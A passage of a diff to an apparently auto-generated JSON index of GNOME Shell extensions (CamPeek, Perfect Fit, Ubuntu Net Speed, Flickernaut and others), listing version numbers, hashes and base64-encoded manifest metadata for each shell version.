Support:\n• 🎯 Intelligent Detection: Advanced multi-method camera detection with 95%+ compatibility across camera types.\n• 📹 Multi-Camera Support: Right-click to switch between multiple cameras with real camera names (not just \"Camera 0\").\n• 🔄 Adaptive Resolution: Automatically detects and uses optimal resolutions (16:9 preferred, 4:3 fallback).\n• 🏗️ Enhanced Compatibility: Works with built-in laptop cameras, USB webcams, professional cameras, and capture cards.\n• ⚡ Optimized Performance: 60-80% faster camera detection with intelligent testing order (capability → format → GStreamer).\n• 🛠️ Smart Fallback: Multiple detection methods ensure compatibility with non-standard drivers and older cameras.\n\n🎛️ Technical Excellence:\n• 📊 Expanded Device Range: Scans up to 20 camera devices (/dev/video0-19) for comprehensive coverage.\n• 🔍 Dual Capability Detection: Primary method checks Device Caps, fallback method for older cameras.\n• 📐 Format Validation: Counts actual video formats to distinguish capture devices from metadata devices.\n• 🎬 Enhanced GStreamer Pipeline: Adaptive capabilities with videoconvert, videoscale, and quality optimization.\n• ⚠️ Intelligent Error Handling: Specific error types with helpful solutions (missing GStreamer, permissions, etc.).\n\n📍 Ideal For:\n• Quickly checking your appearance or environment before meetings.\n• Confirming camera functionality instantly—no need to open heavy applications.\n• Privacy-conscious users looking for a fast and straightforward webcam preview tool.\n• Users with multiple cameras who need easy switching between devices.\n• Systems with built-in cameras, professional equipment, or non-standard camera drivers.", "link": "https://extensions.gnome.org/extension/8092/campeek/", "shell_version_map": {
+    "46": {"version": "25", "sha256": "102cphspmgq26zhpv56cvkilmmw4jhpph2rnm66a445lljw425mz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNQp9"},
+    "47": {"version": "25", "sha256": "102cphspmgq26zhpv56cvkilmmw4jhpph2rnm66a445lljw425mz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNQp9"},
+    "48": {"version": "25", "sha256": "102cphspmgq26zhpv56cvkilmmw4jhpph2rnm66a445lljw425mz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNhbVBlZWsgaXMgYSBsaWdodHdlaWdodCBHTk9NRSBTaGVsbCBleHRlbnNpb24gaW5zcGlyZWQgYnkgdGhlIHBvcHVsYXIgbWFjT1MgYXBwIEhhbmQgTWlycm9yLCBhbGxvd2luZyB5b3UgdG8gaW5zdGFudGx5IGNoZWNrIHlvdXIgd2ViY2FtIGRpcmVjdGx5IGZyb20geW91ciBMaW51eCBkZXNrdG9wJ3MgdG9wIGJhci5cblxuXHVkODNjXHVkZmE1IEtleSBGZWF0dXJlczpcblx1MjAyMiBcdTI3MjggSW5zdGFudCBBY2Nlc3M6IE9wZW4geW91ciB3ZWJjYW0gZmVlZCBpbiBvbmUgcXVpY2sgY2xpY2tcdTIwMTRwZXJmZWN0IGZvciBhIGxhc3QtbWludXRlIGNoZWNrIGJlZm9yZSB2aWRlbyBjYWxscy5cblx1MjAyMiBcdWQ4M2RcdWRkYmNcdWZlMGYgTWluaW1hbGlzdCBEZXNpZ246IEEgc2xlZWssIGFsd2F5cy1vbi10b3AsIGZyYW1lbGVzcyB3aW5kb3cgZm9yIGEgZGlzdHJhY3Rpb24tZnJlZSBwcmV2aWV3LlxuXHUyMDIyIFx1ZDgzZFx1ZGQxMiBQcml2YWN5IEZpcnN0OiBDYW1QZWVrIHN0cmVhbXMgeW91ciB3ZWJjYW0gZmVlZCBkaXJlY3RseSB3aXRob3V0IHJlY29yZGluZyBvciBzYXZpbmcgYW55IGRhdGEuXG5cdTIwMjIgXHVkODNkXHVkZTgwIExpZ2h0d2VpZ2h0ICYgU2ltcGxlOiBGYXN0LCB1bm9idHJ1c2l2ZSwgYW5kIGludGVncmF0ZXMgc21vb3RobHkgaW50byB5b3VyIEdOT01FIGRlc2t0b3AgZXhwZXJpZW5jZS5cblxuXHVkODNkXHVkY2NjIElkZWFsIEZvcjpcblx1MjAyMiBRdWlja2x5IGNoZWNraW5nIHlvdXIgYXBwZWFyYW5jZSBvciBlbnZpcm9ubWVudCBiZWZvcmUgbWVldGluZ3MuXG5cdTIwMjIgQ29uZmlybWluZyBjYW1lcmEgZnVuY3Rpb25hbGl0eSBpbnN0YW50bHlcdTIwMTRubyBuZWVkIHRvIG9wZW4gaGVhdnkgYXBwbGljYXRpb25zLlxuXHUyMDIyIFByaXZhY3ktY29uc2Npb3VzIHVzZXJzIGxvb2tpbmcgZm9yIGEgZmFzdCBhbmQgc3RyYWlnaHRmb3J3YXJkIHdlYmNhbSBwcmV2aWV3IHRvb2wuIiwKICAibmFtZSI6ICJDYW1QZWVrIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ2FtYWxzaGVyaWYxL0NhbVBlZWsiLAogICJ1dWlkIjogIkNhbVBlZWtAZ2FtYWxzaGVyaWYxLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAyNQp9"}
   }}
 , {"uuid": "3000oxford@huseyincorakli", "name": "Oxford 3000 Word Trainer", "pname": "oxford-3000-word-trainer-tr-en", "description": "Learn English words with repetition. By default it is loaded with TR-EN words (json file), you can upload your own json file with appropriate conditions.", "link": "https://extensions.gnome.org/extension/8093/oxford-3000-word-trainer-tr-en/", "shell_version_map": {
     "46": {"version": "5", "sha256": "0q0kn3a07q2vzx6qskwqkibp35wy8hw57gfi9fsz5s5244ysm51m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxlYXJuIEVuZ2xpc2ggd29yZHMgd2l0aCByZXBldGl0aW9uLiBCeSBkZWZhdWx0IGl0IGlzIGxvYWRlZCB3aXRoIFRSLUVOIHdvcmRzIChqc29uIGZpbGUpLCB5b3UgY2FuIHVwbG9hZCB5b3VyIG93biBqc29uIGZpbGUgd2l0aCBhcHByb3ByaWF0ZSBjb25kaXRpb25zLiIsCiAgIm5hbWUiOiAiT3hmb3JkIDMwMDAgV29yZCBUcmFpbmVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2h1c2V5aW5jb3Jha2xpLzMwMDBveGZvcmQtaHVzZXlpbmNvcmFrbGkiLAogICJ1dWlkIjogIjMwMDBveGZvcmRAaHVzZXlpbmNvcmFrbGkiLAogICJ2ZXJzaW9uIjogNQp9"}
   }}
 , {"uuid": "perfect-fit@ryliov.work.com", "name": "Perfect Fit", "pname": "perfect-fit", "description": "Perfect Fit is a lightweight GNOME Shell extension that improves your workflow by automatically centering windows and resizing them to a customizable portion of the screen.", "link": "https://extensions.gnome.org/extension/8094/perfect-fit/", "shell_version_map": {
-    "48": {"version": "1", "sha256": "1b6f3x5hc3iwxklry7flz2vwm2p9la7ami1irlg18680mvllgkh3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBlcmZlY3QgZml0IGV4dGVuc2lvbiIsCiAgImdldHRleHQtZG9tYWluIjogInBlcmZlY3QtZml0IiwKICAibmFtZSI6ICJQZXJmZWN0IEZpdCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wZXJmZWN0LWZpdCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS95YXd1eGkvcGVyZmVjdC1maXQiLAogICJ1dWlkIjogInBlcmZlY3QtZml0QHJ5bGlvdi53b3JrLmNvbSIsCiAgInZlcnNpb24iOiAxCn0="}
+    "48": {"version": "2", "sha256": "0s97xblc7gx9nhr2f59494i3s1rv2raq66fb592vdjychp2wxm94", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlBlcmZlY3QgRml0IGlzIGEgbGlnaHR3ZWlnaHQgR05PTUUgU2hlbGwgZXh0ZW5zaW9uIHRoYXQgaW1wcm92ZXMgeW91ciB3b3JrZmxvdyBieSBhdXRvbWF0aWNhbGx5IGNlbnRlcmluZyB3aW5kb3dzIGFuZCByZXNpemluZyB0aGVtIHRvIGEgY3VzdG9taXphYmxlIHBvcnRpb24gb2YgdGhlIHNjcmVlbi4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJwZXJmZWN0LWZpdCIsCiAgIm5hbWUiOiAiUGVyZmVjdCBGaXQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGVyZmVjdC1maXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20veWF3dXhpL3BlcmZlY3QtZml0IiwKICAidXVpZCI6ICJwZXJmZWN0LWZpdEByeWxpb3Yud29yay5jb20iLAogICJ2ZXJzaW9uIjogMgp9"}
   }}
 , {"uuid": "nettotalssimplified@avrain27", "name": "Net Totals Simplified", "pname": "net-totals-simplified", "description": "A Net totals extension that only displays totals. Forked from Net Speed extension (netspeedsimplified@prateekmedia.extension) With Loads of Customization, version 43", "link": "https://extensions.gnome.org/extension/8095/net-totals-simplified/", "shell_version_map": {
     "48": {"version": "3", "sha256": "0q4wdz811yp9pddy9x6xsj57hy7phaq3sfhjp161j48k7j9l0i47", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTmV0IHRvdGFscyBleHRlbnNpb24gdGhhdCBvbmx5IGRpc3BsYXlzIHRvdGFscy4gRm9ya2VkIGZyb20gTmV0IFNwZWVkIGV4dGVuc2lvbiAobmV0c3BlZWRzaW1wbGlmaWVkQHByYXRlZWttZWRpYS5leHRlbnNpb24pIFdpdGggTG9hZHMgb2YgQ3VzdG9taXphdGlvbiwgdmVyc2lvbiA0MyIsCiAgIm5hbWUiOiAiTmV0IFRvdGFscyBTaW1wbGlmaWVkIiwKICAib3JpZ2luYWwtYXV0aG9yIjogIk1wYWdpIERhdmlkIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm5ldHRvdGFsc3NpbXBsaWZpZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYXZyYWluMjcvbmV0dG90YWxzc2ltcGxpZmllZCIsCiAgInV1aWQiOiAibmV0dG90YWxzc2ltcGxpZmllZEBhdnJhaW4yNyIsCiAgInZlcnNpb24iOiAzCn0="}
   }}
 , {"uuid": "ubuntunetspeed@ochi12.github.com", "name": "Ubuntu Net Speed", "pname": "ubuntu-net-speed", "description": "A simple extension that shows the current network speed", "link": "https://extensions.gnome.org/extension/8096/ubuntu-net-speed/", "shell_version_map": {
-    "45": {"version": "2", "sha256": "08p2n2ixhck03980wa57wd1bhhby0r9fvrgi02pb3qrxfc8gg43n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="},
-    "46": {"version": "2", "sha256": "08p2n2ixhck03980wa57wd1bhhby0r9fvrgi02pb3qrxfc8gg43n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="},
-    "47": {"version": "2", "sha256": "08p2n2ixhck03980wa57wd1bhhby0r9fvrgi02pb3qrxfc8gg43n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="},
-    "48": {"version": "2", "sha256": "08p2n2ixhck03980wa57wd1bhhby0r9fvrgi02pb3qrxfc8gg43n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="}
+    "45": {"version": "4", "sha256": "04yf2xw6xb9d9mymwdz3clk2f95ikc2s5f6f66apxnyj786ba44m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0LAogICJ2ZXJzaW9uLW5hbWUiOiAiMi4wLjEiCn0="},
+    "46": {"version": "4", "sha256": "04yf2xw6xb9d9mymwdz3clk2f95ikc2s5f6f66apxnyj786ba44m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0LAogICJ2ZXJzaW9uLW5hbWUiOiAiMi4wLjEiCn0="},
+    "47": {"version": "4", "sha256": "04yf2xw6xb9d9mymwdz3clk2f95ikc2s5f6f66apxnyj786ba44m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0LAogICJ2ZXJzaW9uLW5hbWUiOiAiMi4wLjEiCn0="},
+    "48": {"version": "4", "sha256": "04yf2xw6xb9d9mymwdz3clk2f95ikc2s5f6f66apxnyj786ba44m", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGV4dGVuc2lvbiB0aGF0IHNob3dzIHRoZSBjdXJyZW50IG5ldHdvcmsgc3BlZWQiLAogICJuYW1lIjogIlVidW50dSBOZXQgU3BlZWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL3VidW50dS1uZXQtc3BlZWQvIiwKICAidXVpZCI6ICJ1YnVudHVuZXRzcGVlZEBvY2hpMTIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0LAogICJ2ZXJzaW9uLW5hbWUiOiAiMi4wLjEiCn0="}
   }}
 , {"uuid": "wellbeingtoggle@m51.io", "name": "Wellbeing Toggle", "pname": "wellbeing-toggle", "description": "Toggle wellbeing reminders from the quick settings menu.", "link": "https://extensions.gnome.org/extension/8098/wellbeing-toggle/", "shell_version_map": {
     "48": {"version": "2", "sha256": "144088ld908796brfjgr55c6npr29bxza4frkd5wn91q222sn7lh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRvZ2dsZSB3ZWxsYmVpbmcgcmVtaW5kZXJzIGZyb20gdGhlIHF1aWNrIHNldHRpbmdzIG1lbnUuIiwKICAibmFtZSI6ICJXZWxsYmVpbmcgVG9nZ2xlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0ZpbmdlbC9nbm9tZS1leHQtd2VsbGJlaW5nLXRvZ2dsZSIsCiAgInV1aWQiOiAid2VsbGJlaW5ndG9nZ2xlQG01MS5pbyIsCiAgInZlcnNpb24iOiAyCn0="}
   }}
-, {"uuid": "flickernaut@imoize.github.io", "name": "Flickernaut", "pname": "flickernaut", "description": "A GNOME extension that adds custom entry to Nautilus context menu", "link": "https://extensions.gnome.org/extension/8101/flickernaut/", "shell_version_map": {
-    "48": {"version": "3", "sha256": "1626zpxv9ww8z3lsxl7ynyqmchv96g4aa5f56gw9am1g9j20kx4i", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgZXh0ZW5zaW9uIHRoYXQgYWRkcyBjdXN0b20gZW50cnkgdG8gTmF1dGlsdXMgY29udGV4dCBtZW51IiwKICAibmFtZSI6ICJGbGlja2VybmF1dCIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5mbGlja2VybmF1dCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9pbW9pemUvZmxpY2tlcm5hdXQiLAogICJ1dWlkIjogImZsaWNrZXJuYXV0QGltb2l6ZS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMwp9"}
+, {"uuid": "flickernaut@imoize.github.io", "name": "Flickernaut", "pname": "flickernaut", "description": "A GNOME extension that adds custom entry to Nautilus context menu.\n\nNOTE:\n- To use this extension, you need to install nautilus-python package.\n- Please restart Nautilus after enabling, disabling, or changing extension preferences to apply changes.", "link": "https://extensions.gnome.org/extension/8101/flickernaut/", "shell_version_map": {
+    "48": {"version": "8", "sha256": "1hk5yli6jl0s0fjwzm7by5ixq4bbm45rhk96g6q9k29nj2bcj9bh", "metadata": 